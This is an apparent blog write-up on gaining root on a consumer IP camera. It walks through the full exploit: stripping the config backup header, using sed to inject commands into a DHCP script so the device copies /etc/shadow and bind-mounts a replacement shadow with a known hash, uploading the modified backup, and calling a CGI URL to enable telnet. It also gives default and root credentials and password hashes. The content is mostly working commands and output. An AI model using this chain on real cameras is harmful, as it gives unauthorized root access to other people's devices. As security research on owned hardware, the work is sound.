Before we get too far in, I have to say that it feels like someone put some effort into securing this thing. Let’s start with the good:

  • Telnet is not running by default
  • Enabling debug mode doesn’t do anything so far as I can tell
  • U-Boot is password protected
  • The hardware UART is not labeled and doesn’t have a header
  • The root password is non-trivial (withstood 24-hrs of hashcat and john)

Unfortunately, it’s not all love and kittens. There are a couple fatal flaws:

  • Telnet can be enabled trivially via an exploit published in 2016 if not earlier
  • The configuration backup/restore functionality can be exploited for mostly-arbitrary command execution

Just let me in

  • Log into your camera’s web GUI (admin/admin by default)
  • Go to Settings -> System -> Initialize
  • Restore this config backup
  • Your camera will reboot and come back up with factory defaults
  • Log back into the web GUI (admin/admin)
  • Go to Network -> Wireless and connect to any network. Make sure you use Dynamic IP Address
  • Visit this url to enable telnetd.
  • You can now telnet into your camera (root/hipc3518)

Unlocking the door

There were a lot of false starts and dead ends, but here’s the path that got us in:

Start out by resetting factory defaults then downloading the Backup setting data from the Settings -> System -> Initialize section of the web GUI. This will get you your baseline config_backup.bin.

config_backup.bin is a glorified tarball with 512-bytes of header material that tells the camera that this is a valid backup package. Stripping off the header, we get a gziped tarball which includes some DHCP scripts executed by /bin/sh.

dd bs=512 skip=1 if=config_backup.bin of=config_backup.tgz

If you untar, make changes, and retar the archive, something in the binary validation fails, but happily tar is just a stream and the DHCP dispatch script contains some comments which can be clobbered in place with sed without extracting the archive:

# Currently, we only dispatch according to command.  However, a more
# elaborate system might dispatch by command and interface or do some
# common initialization first, especially if more dhcp event notifications
# are added.

exec /mnt/mtd/ipc/conf/udhcpc/default.$1

For our first nefarious act, we’ll copy /etc/shadow into the config directory and give ourselves an echo so we can see over serial if it ran:

gzip -cd config_backup.tgz |
sed -e 's|# Currently, we only disp|echo "Living the dream" #|' |
sed -e 's|# elaborate system might dispatch b|cp /etc/shadow /mnt/mtd/ipc/conf/ #|' |
gzip -c --best > archive.tgz

Now, if you look at mnt/mtd/ipc/conf/udhcp/default.script from archive.tgz, you’ll find:

echo "Living the dream" #atch according to command.  However, a more
cp /etc/shadow /mnt/mtd/ipc/conf/ #y command and interface or do some
# common initialization first, especially if more dhcp event notifications
# are added.

exec /mnt/mtd/ipc/conf/udhcpc/default.$1

Next, we reassemble the package and upload it to the camera:

./config_packer # To be documented

The camera will reboot and once it runs its DHCP scripts upon joining the network, we’ll have /etc/shadow in the config directory. Download the backup again and save it as config_backup-shadow.bin and strip the header as before:

dd bs=512 skip=1 if=config_backup-shadow.bin of=config_backup-shadow.tgz

you’ll find your /etc/shadow file:


Pretty cool, eh? I burned up several machines for 24-hours working on the hash with hashcat and john and didn’t get anywhere. Googling it, I just found someone else asking if anyone had broken it. So much for getting the password easily.

Since we haven’t managed to break the hash and /etc/ is read-only on the device, we’ll need to update the shadow file in our config directory with a known hash and then mount --bind it over the real /etc/shadow.

gzip -cd config_backup-shadow.tgz |
sed -e 's|$1$ocmTTAhE$v.q2/jwr4BS.20KYshYQZ1|$1$hDwZFK2z$NLzmlcsiUw2zAe8ol1EcI0|' |
sed -e 's|cp /etc/shadow /mnt/mtd/ipc/conf/ #y command and in|mount --bind /mnt/mtd/ipc/conf/shadow /etc/shadow #|' |
gzip -c --best > archive.tgz

Now if you look at archive.tgz’s default.script you’ll see:

echo "Living the dream" #atch according to command.  However, a more
mount --bind /mnt/mtd/ipc/conf/shadow /etc/shadow #terface or do some
# common initialization first, especially if more dhcp event notifications
# are added.

exec /mnt/mtd/ipc/conf/udhcpc/default.$1

…and its shadow file:


Build and upload the package binary:

rcw@xps:~/Projects/ctronics$ ./config_packer

Once the camera comes up, enable telnetd by visiting http://ipcam/cgi-bin/hi3510/printscreenrequest.cgi. You can now telnet into the camera as root/hipc3518:

rcw@xps:~/Projects/ctronics$ telnet ipcam
Connected to ipcam.
Escape character is '^]'.

IPCamera login: root
Welcome to HiLinux.
~ #